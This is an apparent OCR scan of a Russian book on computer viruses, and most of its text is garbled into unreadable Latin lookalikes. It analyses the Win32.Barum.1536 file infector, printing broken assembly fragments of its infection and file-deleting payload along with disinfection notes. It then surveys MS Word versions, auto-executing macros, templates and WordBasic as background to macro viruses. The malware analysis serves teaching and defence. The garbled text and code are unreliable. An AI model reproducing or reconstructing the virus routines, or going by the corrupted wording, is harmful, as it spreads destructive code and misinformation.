404200 c a l l $*5 ; Kjiac0iiMec<09. . .

404205 pop ebp ; .. . BbwucneHMe "aenbTa-CHeneHnq''
404206 mov ebx, ebp
404208 sub ebp, (o f fs e t  o f f ._401003+2) ; BwaejieHtte pa&wefl o6;iacTM
; Kofi KOMaHflw sub ebx, XXXXXXXX
40420E dw EB81
aa xxxxxxxx ; Crapwii RVA twkm exoaa
; Kofi KoxaHiW nov eax, YYYYYYYY
404214 db B6

dd YYYYYYYY ; Crapwii RVA koaoboK cskliiih
404219 sod sax, ebx ; RVA b cekUHH CODE
4042IB push sax ; Anpec b c tsk
40421C c a l l EuildAPITable , floncK B KERNEL32 DLL aflpecos API-$yH",uHM
40421C ; m nocipoenne Ts6nnuu aapecoB no aapecy
[E D I]
404221 c a l l Payload ; 6 wapia yaamiTb ifati.nu b C:\Windows
404226 c a l l In fe c t ; HCKaTb h MHitmunposaTb hobug JSepTBbl
404228 retn , B cteKe 6un aapec ctapoii tomkh exoaa

4.4.3.  AiiropMTM noncKa m iieneHMfi
C u r H a T y p y  jy .w  n o n c K a  B n o jin e  M o r y T  c o c T a B H T b  10 6a H TO B  B H p y c a , p a c -  

n o .io a c e H H u x  H e a a jie K O  o t  tow kh Bxo/ta, H a n p H M e p  «8B DD 81 ED 05 10 
40 00 81 EB». IIo/iHoe « H c n e , ie n n e »  ( t o  ecTb BOCCTaHOBJieHHe n e p B O H a - 

n a jib H o r o  B H fla ) n p o rp a M M H  H eB03M 0acH 0, n o c K O Jib K y  B H p y c  H e o6p a r a -  

mo y H H H T o a c a e i cofle pacH M oe c e K U H H  n e p e M e m a e M b ix  ccbuioK. IIosTOMy
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BnojiHe n p n e M Jie M O , HanpHMep, 3anojiHHTb KoaaMii K O M a H ab i «NOP» 
Bpe^oHOCHbie 6a H T b i, HaHHHaa c aapeca 4042 ICh, -  Biipyc nepecTaHeT 
pa3MHoacaTbca, h o  no-npeacHeMy 6yaeT B03BpamaTb ynpaBJieHHe b npo- 
rpaMMy-HocHTejib. /tpyron cnoco6: H3BJienb CTapbiii RVA t o h k h  B x o a a  

h  BepHVTb ero H a  3aK0HH0e MecTo b PE-3arojioBKe (cMememie +28h). 
Iloc jie  Toro KaK BHpyc 6yaeT o6e3BpeaeeH, e ro  Tejio MoacHO n p o c T o  «aa- 
HHCTHTb^ HyjIHMH -  HTo6bI H e «B3aparHBaJIH» aHTHBHpyCbl.

4.4.4. AonojiHMTenbHbie 3aMenaHMfl
B pe3yjibxaTe 6ojiee noapo6Horo aHajiH3a BHpycHoro Koaa mojkho cne- 
J ia Tb  c jie a y r o m n e  H H Te p e c H b ie  b h b o a h .

I I p H 3H a K  3a p a * e H H 0C TH  B H p y c o M  Win32.Barum.1536 -  6a H Tb i 42h h 
52h (c o H e T a n n e  ‘BR’) b  n o jie  K O H T p o jib H o n  c y M M b i MZ-3arojxoBKa. Ha- 
n H iiiH T e  npocTeHbKyio nporpaM M y-BaKm -m aTop, KOTOpaa o 6x o a H T  Bee 

EXE-4>aHJiu a H C K a  h  y c Ta H a B JiH B a e T  zu ia  h h x  n p H 3 H a K  3apa>KeHH0C T H . 

B i ip y c  H e  TpoHeT h x .

H H T e p e c e H  c n o c o 6 o 6p a m e H H H  B H p y c a  k  C H C TeM H b IM  c e p B H ca M . B i i p y c  

3apa acaeT Bee E X E -< J )a H J ib i  noapaa, h o , c Ta p T O B a B  H 3 3apaaceH H0H  n p o 

rp a M M b i, n e p B M M  aeJIO M  I im e T  B  C06c TB e H H 0H  (TO H H e e , B n 0 3 3 H M C TB 0 B a H - 

h o h  y  3apaaceH HO H  n p o r p a M M b i)  T a 6jiH iie  H M n o p T a  a a p e c A P I - ^ j v h k h h h  

«GetModuleHandleA». O h  a e Jia e T  3t o ,  h t o 6m  n o J iy n H T b  a a p e c  6h 6. t o o -  

Te K H  «KERNEL32.DLL» h  n p a M b iM  cK a H H p o B a H H e M  T a 6jiH u ;b i 3K c n o p - 

T a  H a iiT H  b  H e n  a a p e c a  H ya cH b ix  e M y  API-^yHKiiml («FindFirstFileA», 
«CreateFileA» h  t .  n.). 0 6 p a T H T e  B H H M aH H e : c e n  3a M eM aTe jibH bm  n p n -  

eM o y a e T  p a 6o T a T b  b  jik>6o h  B e p c H H  Windows -  o t  95 n o  « B n c T b i » !  Flo 
a a jie K o  H e Bee n p o rp a M M b i n o  V M O jn a H H ro  co a e p a c a T b  c B o e ii T a 6j n m e  

H M n o p ra  c c b L iK y  H a  «GetModuleHandleA». T a K H M  06p a 30M , 3H 3M H Te jib - 

H a a  n a c T b  n p o rp a M M , 6y a y H H  3apaaceH Hoft B H p y c o M  Win32.Barum.1536, 
riepeH O CH H KO M  iiH cJje K iiH H  T a K  h  H e  C TaH eT. B i i p y c  6y a e T  b c h h o  c iia e T b  

B H y r p H  Ta K H X  n p o rp a M M  h  r p y c r a o  « K y p H T b  6a M 6y K » .

H y h , HaKOHeii, cjieayeT OTMeTHTb, hto BHpyc TojibKo BbirjiaanT « K p o -  

BoacaaHbiM», ho H a  caMOM aejie HeBHHeH, KaK 0Be>iKa. Byaynn 3anymeH 
6 MapTa b  12 n a c o B  hohh, B iip y c  nbiTaerca B b in o jiH H T b  c a e a y io m H H  

CTpaHHblH Koa:
push I04h
push eax

flnnHa 5y<5>epa 
Aapec 6y$epa 
GetWindowsDi recto ryAc a l l  ss:dword_40l614[ebp]

or eax, eax
jz  E rro r
lea eax, dword_4015EE[ebp] ; MacKa ' * . EXE', 0
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push eax ; Una 6afiM
c a l l  ss:dword_40160C[ebp] ; OeleteFileA

He HVJKHO 6b ITb  BCJrHKHM 3H 3T 0K 0M  Win32 API, HTC)6b I nO H JTTb a6-  

c y p f lH o c T b  h  H e p a 6o T o c n o c o 6H o c x b  n p iiB e a e H H o ro  4 > p a m e H T a . T e M  He 

M e H ee oc.TajibHaa H a c rb  B u p y c a  n a riH c a n a  flOCTaTOHHO r p a M o r a o  h  aKKy- 

p a T H O . M e ro  ace x o T e ji  a B To p  B H p y c a ?

Ybh, KaK roBapiiBajiH Myapwe araocTHKH, ^ignoramus et ignorabimus».



fAABA

Mai<poBnpycbi
£0  cero MOMeHTa HaMH paccMaTpHBajnicb BHpycbi, KOTopbie npe^cxaBJia- 
.7IH co6oh Ha6opbi MauiHHHbix KOMaHfl, BbinojiH fleM bix HenocpeflCTBeHHo 
npoueccopoM. O/uiaKO cymecTByiOT npeflCTaBHTe.rw KOMiibioTepHOH 3a- 
pa3bl, KOTOpbie <OKHBVT> B CneHHaJI113HpOBaHHbIX BHpTyajIbHbIX MaiHH- 
Hax H COCTOHT H3 HHCTpVKUHH, HailHCaHHblX Ha TaK Ha3HBaeMbIX CKpUTl- 

moevix h 3u k clx  (h jih  x 3u k o x  cu,empuee). KaK npaBH.no, BHpTyajibHbie 
MaiUHHU HBJI5HOTC51 MaCTblO KaKOH-HH&y/lb npiIKJiaflHOH nporpaMMbi II 
pa6oTaioT b pejKHMe HHTepnpeTanHH cneHapHH. 3 to  oaHa'iaeT, h to  ohh 
nOCJie/IOBaTCJIbHO CHHTblBaiOT, TpaHCJIHpyiOT II CaMOCTOHTCJIbHO BbinOJI- 
iiaioT ero (cueHapnji) H iicipyKiiHH. HanpHMep, «np0CM0TpiuHKM» Tima 
In te rne t Explorer h Netscape N avigator cnoco6Hbi BbmojiHHTb cnenapHH 
(nocjienoBaTeJibHocTH h h c tp yk iih h ), HanHcaHHbie Ha H3biKe JavaScript.

HeK0T0pbie BHpTyajibHbie MauniHbi h  cooTBeTCTBytoiuHe hm  H3biKH 

c n e H a p H e B  n o a a e p > K H B a iO T B 0 3 M 0 »C H 0 C Tb  H a n H c a H H H  caM opa3M H 0>K aio- 

mnxca nporpaMM, to ecTb BiipycoB. Han6ojiee uinpoKyio H3BecTHocTb 
iiojivvihjih  M m p o e u p y c b i,  «>KHBymHe» b flOKyMeHTax. sjieicrpoHHHx Ta6- 
JiHuax h npe3CHTanHHX M icrosoft Office.

Ta h jih  HHaa Bepciw 3Toro naKeTa ycTafioBJiena b nacTonmee Bpe.Mtf 
npaKTHMecKH Ha KajKflOM KOMnblOTepe.

5.1. Bupycbi b  MS Word
IleM cuucjiuM ue nojm uuifl eopou cn yc m m u c b  na  

lopod, k o k  na  uucm oe no.ne.

A. h B. CxpynaiiKne. «Tpyano 6hti> 6otom»

HcTopna TeKCTOBoro nponeccopa MS W ord yxo /inx cbohmh kophhmh 
b cepeaHHy 80-x roaoB, b anoxy M S-DO S, Koraa 4>HpMa M icroso ft hhmcm 
He HanoMHHaJia eme HbiHeuiHero rnraHTCKoro KpaKCHa, onyTaBiuero my- 
najibna.MH cbohx onepanHoiiHbix chctcm h npHKJiafliibix nporpaMM Becb 
MHp. B AMepiiKe BecbMa ycneuiHbiM KOHKypeHTOM ajih MS W ord hbjihji-
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ch tckctobmh npoueccop Word Perfect, a oTenecTBeHHbie noju>30BaTejn 
npe^noHHTajiH JIckchkoh E. Bece.TOBa. TeM He MeHee cnpoc Ha MS Word 
cymecTBOBa.'i, h so 1991 ro^a 6bi.io BbinymeHo no KpanHen M e pe ran, 
Bepcnn MS Word wm  MS-DOS h neTbipe -  fljw MAC OS.

Bepcua MS Word 1.0 for Windows, BunymeHHaji b 1989 r. ajw Win
dows 3.X, ocTaaacb npaKTiiiecKii He aaMeneHHOH. Jlnuib B epcn a  2.0, 
Bbimeflinasi b 1991 r., Hamjia CBoero iioKynaTejia. IIo bosmojkhoctam pe- 
AaKTHpoBaHHH TeKCTa Word 2.0 npHMepHO c00TBeTCTB0Baji peflaicropy 
Word Pad, BKJiKweHHOMy no yMOJinaHnio bo Bee coBpeMeHHbie Bepcnn 
Window’s. Tckctobmh npoueccop Word 2.0 yace Mor Bbino/nwTb cueHa- 
pnn (ohh nojiy’auiH acaproHHoe HanMeHOBaHHe -  <Maitpocu»), npefl- 
cTaBJJHBiiiHe co6oh coxpaHeHHyio r l o c ji e;i o BaTe ji hi oct l  Haacaraii miaBnui 
H K O M a iU  peflaKTIipOBaHHH TeKCTa. 3t0 II03B0JWJI0 0 3 0 p H IIK a M  C03/iaBaTb 
npHMHTHBHbie TpoaHCKiie nporpaMMbi ajih MS Word, ho noKa He BHpy
cbi. OopMar (Jjanjia, coaepjKaBinero tckct h pa3M6TKy flOKyMenra, Toace 
6bl-1 ZIOBOJILHO n p O C TM M .

HacToamaji nonyjiapHocTb npnuuia k MS Word b 1993 roay BMecTe 
c Bepcneit 6.0. 3 t o t  TeKCTOBbin npoueccop yace coflepacaji 6ojibEiHiicTBo 
Tex B03M05KH0CTen peaaKTHpOBaHHH TeKCTa, KOTOpbie H3BeCTHbI ri0JIb30- 
BaTejiHM no coBpeMeHHbiM BepcHHM MS Word, nojiojca pyKy Ha cep/me 
cjie/iyeT npn3HaTb, hto Word 6.0 h ceiiwac yaoBJieTBOpHJi 6bi 90% nojib- 
30BaTejieft. B KOHTeKCTe aaHHofl khhim Hac zioji>k:hu 3aHHTepecoBaTb 
flBa o6cTOHTejib€TBa, icacaiomHecH Word 6.0. llepBoe: b KanecTBe H3biKa 
cueHapneB b HeM 6bm HciiojibsoBaH nojiHOuemibiH H3MK nporpaMMH- 
poBamra, nojiyHHBiiiHH Ha3BaHHe WordBasic. BTopoe: 4>aftji aoKyMeHTa 
6bi.ri 0praHH30BaH b 4>opMaTe TaK Ha3biBaeMoro « cm p y K m y p u p o ea n u ozo  

x p a m u iu iu p .»• (structured storage), c n o c o o H o ro  coaepjicaTb b ce6e pa3Ho- 
poaHbie OObCKTbl -  TeKCTbl, H3o6pa»CeHHH, flBOHHHbie flaHHUe H t. n. riep- 
Bue MaKpoBHpycu (Word.Macro.DMV h Word.Macro.Concept) 6huin 
HanncaHbi HMeHHO Ha fl3HKe WordBasic h hmchho AJia AOKyMeHTOB MS 
Word BepcHH 6.0.

C.ieayiomaji B e p cH H  MS Word, n o .iy M iiB u ia n  H O M ep 7.0, H e n p u B H e c jia  

H H K a K H X  peB O JIIO U H O H H bIX  H 3 M e H e H H H . O a K T H H e C K H  O H a n p e/IC TaB .IH Jia  

co6oii MS Word 6.0, n e p e T p a n c jm p o B a H H b iH  3 2 -6 h t o b w m  K O M n n jis T o - 

p o M  h  j w  Bbino.TH CH M H  b  c p e a e  Windows 9X/NT h  «y n a K O B a H H b iH »  B M e c

Te c MS Excel 7.0 b  o6mmi n a K e T  Microsoft Office 95. Bee B H p y c b i, Hami- 
c a H H u e  a.nn B e p c n n  6.0, O Ka3a.THCb a ic ry a jib H b i h  f ljia  7.0. A  y>K cKOJibKO 
nx 6bi.’io  H a iiH c a H o ! Be^b B eK  s t o h  B e p c n n  MS Word OKa3a jic n  / io jith m  -  

n p a K TH M e c K n  a o  n a n a jia  h o b o t o  Tb ic H H e jie TH H . /ta  h t o  Ta M , aaace h  c e fi- 

n a c  MHorne r i0 Jib 3 0 B a Te jiH  « c o  c Ta a ce M » u p e z u io H H T a io T  s t o t  6bicxpbiH,
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KOMnaKTHMH H MOIUHblH TeKCTOBJblH XipOUeCCOp, npeKpaCHO pa6oTaroiHHH 
BO Bcex pa3HOBHflHOCTflX Windows, COBpeMeHHUM MOHCTpOBEWHMM Bep- 
CHHM.

Ho HCTopra He CTOHJia Ha MecTe. Onepe,gHyio «peBOJHOHHJO» Microsoft 
ycTpoHJia b 1997 roay, Kor^a b cocTaB e Microsoft Office 97 6biJia Bbinyme- 
Ha b cbct BepcHH W o rd  97 (nojiynnBixiatf BHVTpn<|)HpMeHHoe HaHMeHOBa
HHe W ord 8). Bo-nepBux, npeTepneji cymecTBeHtibie H3MeHenna (Jx>pMaT 
(fjafijioB, coflepacauiHX ;iOKyMeHTbi. O h ocTajicn CTpyKTypHpoBaHiibi.w 
xpaHHJiHmeM, ho ero BHyTpenHMH opraHH3aniifl cmibHO ycjioacHinacb. 
Bo-BTopbix, MecTo W ord Basic 3a.uan ooteKTHO-opHeHTHpoBaHHbitt H3WK 
V B A  -  Visual Basic for Application, oouihh juih Bcex ochobhhx KOMno- 
hchtob Microsoft Office (M S  W ord, M S  Excel, M S  Power Point h M S  
Access). IlporpaMMHCTbi Microsoft ooecneMHjm HeKoxopyio nepeHocH- 
MOCTb nporpaMM, HarwcaHHbix Ha H3HKe WordBasic, b cpe/iv V B A , ho 

BiipyconHcaTejiHM Bee paBH o npHixuiocb HanmiaTb Bee 3aHOBO, H3ynaTb 
HOBblH H3bIK H nHCaTb HOBbie BHpyCbl. H HanHCaHO HX OblJIO HecKOJibKO 
aeCHTKOB TblCJXn!

Co6cTBeHHo roBopa, anoxa W ord 97 ripo/iojiacaeTCH ao cero $asi. Bee 
iioc jie /iy iom iie  BepciiH -  W ord 2000 (oh ace W ord 9 ), Word X P  o t 2002 
ro/ia (o h  ace W ord 10), W ord 2003 (oh ace W ord 11) -  noAaepacHBaioT 
H3UK V B A  h rJjopMaT c})aHJioB, pa3pa6oTaHHMH W ord 971. A  sto 03Ha- 
4aeT, hto  Bee MaxcpoBHpycbi, HanHcaHHbie nocjie 1997 r., BnojiHe pa6oTO- 
cnoco6Hbi h noHbiHe.

BnponeM, cjieayeT ynoMHHyTb, hto MS W ord no&aepacHBaeT He e/itm - 
CTBeHHbrii 4>opMaT JioKyNfeHTOB. HanpHMep, Bee BepcHH 3Toro TeKCTOBoro 
npoueccopa cnoco6Hbi CHHTbiBaTb h coxpaHHTb /jaHHbie b npocioM  h xopo- 
rno aoKVMeHTHpoBaHHOM (JiopMaTe R T F  (R ich  Text Form at), KOTopwii He 
MoaceT coflepacaTb MaKpocbi h , cjie/ioBaTejibno, He cnoco6eH cjiyacHTb pa3- 
hochhkom «3apa3bi>>. KpoMe Toro, c B e p cH H  2 0 0 7  r. HanHHaeT noTHxoHbKy 
BHeapHTbCH eme 6ojiee hobmh (f>opM aT xpaneHHH AOKyweHTOB -  DOCX, 
K0T0pbiH npeflCTaBJweT co6oh ynaKOBaHHbift mcto/iom ZIP Ha6op XML- 
CTpaHHH, h noTOMy -«B iip y c o 6 e 3 o n a c e H ». BnponeM, h  y  Hero ecTb p a3H 0-  

BHjiHOCTb «D O C M », noaaepacHBaiomafl BKjnoneHiie MaKpocoB.
KcTara, BepcHH M S  W ord, iicnojibaoBaHHan ajih co3#aHHH KOHicpeT- 

Horo ^oKyMeHTa, MoaceT 6brrb onpeaejieHa npH pa3rjiHjtbiBaHHH DOC- 
4>aHJia «Ha npocBeT*-:

1 Bepcroi MS Word 2007 h 2011 t o  me Moiyr pafSoTaTt. c DOC-cfjaRjiaMii h
BbinOJIHHTb HX MaKpocbi, HO IXO yMOJIHaHHJO HCnOJIb3yiOT «HOBhlft» (jiOpMHT
DOCX.
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00 73 65 52-1E 00 00 00-07 00 00 00-4E 6F 72 60 . seR-................Norm
61 6C 00 F3-1E 00 00 00-05 00 00 00-55 73 65 52 a l y - ............... UseR
00 SC 00 F3-1E 00 0 0  00-02 00 00 00-34 00 65 52 1 y - ............. 4.eR
IE 00 00 00-14 00 00 00-4D 69 63 72-6F 73 6F 66 - ...............M icrosof
74 20 57 6F-72 64 20 31-30 2E 30 00-40 00 00 00 t  Word 10.0.@...

TaKHM 06pa30M, flOCTaTOHHO pacCMOTpeTb ZIBe OCHOBHbie pa3H0BHflH0- 
CTH MaKpOBHpyCOB:

O  BHpycbi /ijih W ord 6.0/7.0;
O  B H p y c b i ajiji W ord 97.

5.1.1.  06m ne CBeflemist o Maicpocax
H3MKW W ordBasic h  V B A  iio3boji>hot co3flaBaTb MaKpocbi (cneHapim ), 
KOTopbie, no nflee, flojiacHbi H36aB.TOTb n0Jib30BaTejia ot noBTopemiH py- 
THHHbix onepaniiH npn o6paooTKe TeKCTa. HanpHMep, 3aflana noncKa h 
noflHepKHBaHHH Bcex cjiob TeKCTa, nanncanHbix jiaTHHCKHMH 6yKBaMH, 
MOJKeT 6biTb ocj)opMJieHa b BHfle MajieHbKOH nporpaMMKH h accorouipo- 
BaHa c KaKOH-Hn6yflb KJiaBHaTypHoii KOM6HHan,HeH (c  HeM-Hn6yflb Bpo- 
fle A lt+ S h ift+ E sc  hah C trl+ «0» ) 3arpy3HB MHoroMera&afiTOBbiH TeKCT 
b okho M S W ord h HaacaB yKa3aHHyio KJiaBnaTypHyio KOM6HHanHK), 
nojib30BaTeflb cpa3y ace MoaceT oTnpaBJiHTbca nHTb Haft -  MaKpoKOMaHfla 

caMa BbinoJiHHT Heo6xoflHMtie fleiicTBHa.
TaKace MS W ord no3BOJiseT accoijHHpoBaTb MaKp0K0MaHfly He c KJia- 

BiiaTypHofi KOMfiHHauneM, a c KaKHM-Hn6yflb nyiiKTOM MeHio hjih  KHon- 
koh, pa3MemeHH0H Ha naHejiH HHCTpyMeHTOB. /loKyMeHTHpoBannoii oco- 
OeHHOCTblO MS W ord HBJIfleTCH B03MOaCHOCTb C03flaHHH n0JIb30BaTeJieM 
CBOHX Co6cTBeHHbIX flOnOJIHHTeJIbHbIX KHOnOK H nyHKTOB MeHIO. Ho OKa- 
3bIBaeTCH, HTO H MHOTHe «CTaHflapTHbie» nyHKTM H KHOnKH TaKvKe MoryT 
6brrb nepeonpeflejieHH TaKHM 06pa30M, hto 6 y fly r BbmojiHHTb K aK H e-H H - 
6yflb, H3HaMajibHo He npeflycMOTpemibie aeftcTBHH.

KpoMe Toro, b  MS W ord hmcjotch TaK Ha3biBaeMbie «aBTOMaTHHecKiie 

MaKpOCbI» -  TO eCTb MaKpOCH, 3BTOMaTHMeCKH BbinOJIHHIOmHeCa npn 

onpeflejieHHMX vcjiobhjix. K h h m  othochtch:
O  «AutoOpen», 3anycKaiomHHca npH otkphthh flOKVMeHTa;
O  «AutoNew», 3anycKaiomHHca npn co3flan»H hoboto flOKyMeHTa;
O  « A uto Exec », 3anycKaiomHHCH b Hanajie pa6oTbi MS W ord;
O  «A utoE xit»  3anycKaromHiica n p n  3aBepuieHHH pa6on>i MS W ord;
O  «AutoCIose», sanycKaroiniriica npH 3aKpbiTHH flOKyMem-a.
no yMojiHaHHio 3th  MaKpocu «riycTbi» h  He coaepacaT HHKaKoro npo

rpaMMHoro KOfla. Ohh KaK pa3 h npeflHa3HaHeHM ajih Toro, hto6h  nojib3o- 
BaTe.Tb caM nepeonpeflejiHJi hx h conocTaBHJi hm KaKoe-Hii6yflb nojie3Hoe 
flencTBHe.
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Bee MaKpocbi xpairaxcH b ma6jioHax (tem plate) -  to  ecTb b flOKVMeH- 
Tax, BHyTpH KOTOpbix npe/iycMOTpeno mccto a m  nporpaMMHoro Ko/ia 
caeHapneB, a m  c^ejiaHHbix nojib30BarejieM HacTpoeK, hjih  cthjich h t. n. 
no VMOJiHaHHro MS Word cHHTaeT maojionaMH (Jiafj^bi c paciunpeHHeM 
«.D O T », a odbiHHUMH ^OKyMeHTaMH -  (J)aHJibi c pacmnpeHHeM «.D O C», 
ho pa3JiH'raeT hx  no BHyTpeHHeMy (fropMaTy (b  nacTHOCTii, uia6ji0HH MS 
Word 6.0/7.0 hmciot cneuHa/ibHbiii 4>;ia»coK b 3arojioBKe). KpoMe Manpo- 
cob h HacTpoeK, iua6noH MoaceT coaepacaTb tckct, pHcyHKii, Ta6jumbi h 
t. n., TaKHM 06pa30M, pHflOBOH ri0Jib30BaTe;ib oomhho npocTo He HMeeT 
B03M03CH0CTH pa3JIH’lHTb 3B6 3TH pa3H0BHflH0CTH /(OKVMeHTOB «HeBO- 
opyaceHHbiM rJia30M».

no >TsiojiHaHHio b MS Word npHcyTCTByeT no KpaHHefi Mepe oahh 
«rJiaBHbifi» ma6.TOH -  «NO R M A L.DO T», h ero Maiepocu (earn ohh b 
HeM ecn>) 3arpyacaioTCH h cxanoBHTca fotobmmh k  pa6oTe aBTOMaTHHe- 
ckh npn cTapTe TeKCTOBoro npoueccopa. IIJaojioH «NO R M AL.DO T» 
«6eccMepTeH» -  ccjih ero <f)aiiJi yaajmTb, to nocjie onepeflHoro 3anycKa 
MS Word oh 6yaeT Bocco3flaH BHOBb. KpoM e toto, b MS Word aBTOMara- 
necKH 3arpy>KaeTca coaepacHMoe ma6.n0H0B, pacnojio*euHw x b no/iKa-ra- 
jio re  ^STARTUP*. -  ohh, KaK npaBiuio, BiiojiHe jieraJibHo noflBJiHioTCH 
TaM BMecTe c ocJhichhm h  npHJioaceHHHMH THna FineReader (pacmwHaBa- 
Tejib oTCKaHHpoBaHHoro TeKCTa), PROMT/Stylus (nepeBOflTOK TeKCTOB 
c o^Horo H3biKa Ha flpyroH) h  npoHHMH.

Bee 0CH0BHbie onepauHH c MaKpocaMH (cos^aHHe, KonnpoBaHHe, yaa- 
JieHne h T. n .) n0Jib30BaTeJib MS W ord m ojkct ocymecTBHTb BpyMHyio 
npH noMomu K0Mn0HeHTa «OpraHH3aTop» (•«O rganizers), KOTopbiii jxo- 
cTyneH nepe3 nosMeHio « O a fiji => HIa6jioHH...», «CepBnc => MaKpoc...» 
M H  «<t>OpMaT => CTHJIb..>.

HraK. bot cnoco6bi, n03B0JiHi0mHe 3arpy3HTb MaKpocw b MS Word h 
n0/ir0T0BiiTb hx k ncno.'iHeHHio:

O  pa3MecTHTb hx b maSjioHe «N O R M AL.D O T»;
O  pa3MecTHTb hx b 0flH0M H3 wa6ji0H0B, pacnojioaceHHbix b KaTa^ore

«STAR TUP»;
O  pa3MeCTHTb HX B flOKyMeHTe, KOTOpblH OTKpblBaeTCH CpeflCTBaMH 

MS Word.
/Ijih Toro h to6 h  3arpv»eHHbiH  H3 maojioHa MaKpoc no jiyy iu  ynpaBJie- 

Hlie H HanaJI BbinOJIHJITbCH, flOCTaTOHHO BbinOJIHHTb OflHO H3 C/reayiOmHX 

aeiiCTBHH:
O  3anycTHTb MaKpoc ( bosm o/kho , cjiyyaiino), HaacaB aconnnpoBaH- 

HVIO C HHM KHOnKV, nVHKT MeHKJ HJIH KJI3BH 3TypHyiO KOM6lIHa- 
HHio;
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O  3 a n y c T n n >  M a K p o c  npeAnaMepeHHo, n o A b 3 y a c b  b o 3 m o » :h o c th m h  

« O p r a H H 3a x o p a » ;

O  npncBOHTb Manpocy oaho H3 «aBTOMaTHHecKHX» HMeH (nepe- 
yeHb -  cm. Bwnxe);

O  3anycTHTb MaKpoc H3 apyro ro , Bbinojm arom eroea b aaHHbm m o - 

m c h t  MaKpoca, riojib3yacb B03M0» h 0c th m h  H3biKa ciieHapneB 

W ordB as ic  h a h  V B A .

M m p o e u p y c b i  ~  s to  n p o rp a M M b i, HanncaHHbie Ha H3biice cueHapneB. 

cn oco6Hbie caMocxoaxejibHo KonnpoBaxb ce6a  H3 o/inoro AOKyMPHxa 

(ajieKTpoHHoii xa6;iimbi, npeseHxaniiM h x. n .) b Apyroft.

5.1.2.  Bupycu Ha $i3UKe WordBasic
H oB yio  MaKpoKOMaHAV Ha aswKe W ord B as ic  mo>kho co3AaTb xaK: noc/re 

3anycKa M S  W o rd  6.0/7.0 b Memo «C e p B n c » ( « T o o l s » )  Bbi6paxb nyHKx 

«M a K p oc ...» ( «M a c r o » ) .  HoaBHxca (JjopMa BBOAa. B  nojie  «H m h » Haflo 

Ha6paxb hmh MaKpoKOMaHAbi, b noAe «O n H caH iie » Moaaro noMecxnxb 

cnpaBOHHbiH KOMMeHTapHH. 3 a x e M  c.TCAyex Haacaxb Ha KHonKy «C o 3 - 

AaTi>», H nOHBHXCA OKHO peAaKXHpOBaHHH MaKpOCOB, B KOXOpOM M05KH0 

naoifpaxb HcxoAHhiH xeKCT Ha aabJKe W ordB asic. CoxpaHeHHbiH MaKpoc 

6y A e x 3anncaH BHyrpb iua6jioHa «N O R M A L .D O T V .

CxapbiH MaKpoc mojkho npocMOTpexb hah  oxpeAaKrapoBaxb, ecAH 
b noAMeHio «MaKpoc...» Bbi6paxb H3 cnncKa hmh aceAaeMoro MaKpoca h 
HaacaTb Ha KHomcy «ilp a B K a ». KcTaxn, b s t o t  momcht Bac Moacex nocxHHb 
Heyflana, ecjin MaKpoc 3amH<|)poBaH. TorAa KHonKa «IlpaBKa» 6yAex 
npocxo HeAocxynHa. HanpHMep, H3HaHajibHO .aauiHcjipoBaHa 6HOAHOxeKa 
nojie3Hbix MaKpocoB «M SW O RD.DO T».

B npHHynne, b 3aroAOBKe AOKyMeHTa M S  W o rd  6.0/7.0 ecxb c^ia- 

acoK, K0T0pbiii yKa3UBaex -  uia6A0H axo h jih  Hex. H o  pa3Hbie BepcHH 

M S  W o rd  pearapy iox  Ha Hero n0-pa3H0My: oahh  He o 6pam aioT BHHMa- 

hh a  Ha M aKpoca, xpaHfliUHeca b  4Hem a6A0Hax» (B epcn a  6 .0 ); ApyrvtM 

s t o t  (JjAajKOK a6c0AK5TH0 «n o  6 apa6aH y», oh h  3arpy3HT h b h u o jih h t 

M aKpocu b a io 6om CAynae (Bepcnn 7 .0 ). H o  ecAH (JwaacoK ycTaHOBAeH, 

xo M S  W o rd  He aacT peaaKTnpoBaTb xeKcxoByio nacxb m a6A0Ha-A0- 

KyMeHTa, BepHee peAaKxnpoBaxb Aacx, a coxpanaxb -  Hex. IToAo6Hoe 

CTpaHHoe noBeAeHHe peAaKXHpyeMoro AOKyMeHxa ao jdkh o Aaxb iioboa  
3anoA03pnxb e ro  <uia6A0H0B0cxb » h, cAeAOBaxejibHo, B03M0acH0e Ha- 
AHMiie B HeM MaKpocoB.

H xo ace c o 6oh  npeAcxaBJiaex aawK W ordB asic?

3 x o  AHaAeKX»3biKa Basic [22 ], K oxopu ii He xpe6yex  HyMepauHH CTpoK 

h n03B0Aaer «cK jienBaxb» oxAeAbHbie cxpoKH, oo teA H naa  hx n p n  noMo-
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UIH flB O eTO H H H  « : » .  B03M05KH0 H  «p a3 pC 3 aT b » flJIHHHbie CTpOKM H a  HaCTH, 

iicnoJ ib3ya  o6paTH bift cJiarn « \ » .  K oM M eH T apn n  b  s to m  H3bnce n p e flB ap a -  

JOTCa JIh6o K nio 'ieBbIM  CJIOBOM «REM», .TOOO UITpHXOM « V
IlepeM eH H b ie  b a 3 M Ke W ordBasic 6 wBaioT f lB y x  ranoB: Bem ecTBeHHbie 

h CHMBOJibHbie (K O Topb ie  M oryT  coziep^KaTb KaK OT/teJibHbie chmbojih, 
xaK  h  new bie c T p o K ii).  IT p n  o n u ca iiiiH  HMCHa cHMBOjibHbix nepeM eH H bix 

AOJiJKHH 3aB epu iaTbca 3H3 KOM B W ordBasic mojkho on iiCbiBaTb He 
TOJibKO OT/iejibiibie nepeM eH H bie, ho i i  M acciiBbi -  UJifl 3 Toro  n cn o jib 3yeT - 

ca KJiioHeBoe cjiobo
H a  a  B e ine cT B e H H b iM H  MHCJiaMH b  a 3 b m e  W ordBasic p a 3 p e m e H b i K Jiac- 

CHHecKHe ap n c jjM e T H H e cK H e  h  jio rn M e c K n e  o n e p a iiH H : t i3 M e n e H n e  3H aK a, 

c ; io a c e H iie  ( + ) ,  B b iH H T a H iie  ( - ) ,  y M H o a c e m ie  ( * ) ,  B em ecT B eH H oe m . ' i e w e  

(/ ), ocTaTO K  o t  / le j ie m ia  (M O D ).  /I j i h  c iiM B O J ib H b ix  n e p e M e H H b ix  3H aK  ’+ ’ 
03H aH aeT K O H K a T e n a m iio  c t p o k .

YnpaBJiHromne KOHCTpyKnmi a3biKa W ordBasic onenb noxoacn Ha a H a - 

Jiorn, npHMCHaeMbie b /ip y rn x  BbicoKoypoBHeBbix a3biKax nporpaMMHpo- 
BaHHH.

B o t  KaK ocjDop.vuiaeTca p asB iu iK a  BbinoJiHeHHa.

I f  <yc.noBne> Then

Else 

End I f

E c jih  aJibTepHaTHB m h o to , t o  m ojkho B0cn0.?ib30BaTbca c .ie a y io m eH  

KOHCTpjTcnneH M HoacecTBeHHoro Bbi6opa.

S elect Case <ynpaB/isonan nepeweHnaq?
Case <3H3MeHiie>

